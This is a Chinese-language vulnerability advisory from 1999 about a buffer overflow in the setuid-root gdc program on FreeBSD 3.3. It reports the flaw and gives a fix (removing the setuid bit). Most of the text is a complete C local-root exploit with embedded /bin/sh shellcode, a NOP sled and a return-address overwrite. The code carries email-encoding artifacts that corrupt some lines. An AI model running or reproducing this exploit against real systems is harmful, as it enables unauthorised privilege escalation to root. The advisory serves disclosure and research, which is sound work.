FreeBSD gdc 缓存溢出漏洞
发布日期:1999-12-01
更新日期:1999-12-01
受影响系统:FreeBSD 3.3
描述:
随FreeBSD 3.3-RELEASE发行的gdc存在一个缓存溢出漏洞。缺省情况下,只有在group wheel 中的用户可以执行gdc。当传递带有-t标记的参数超出预先设定的缓存长度时溢出发生。
因为gdc缺省状态下是setuid root,因此可能让可以访问或属于whell组的用户得到root权限。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* gdc exploit for Freebsd-3.3 yields euid=3D0(root)
* by default, only group wheel (or whatever your trusted gated group is)=
* and root can run gdc
* Brock Tellier btellier@usa.net
*/
#include
char shell[] = /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4093;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
if (argv[1]) { =
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE \=
n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi=
ze);
=
for ( x = 0; x < 937; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
=
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
=
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize - 1]=''\0'';
execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);
}
建议:
临时解决办法是去掉gdc的setuid位。
浏览次数:9048
严重程度:0(网友投票)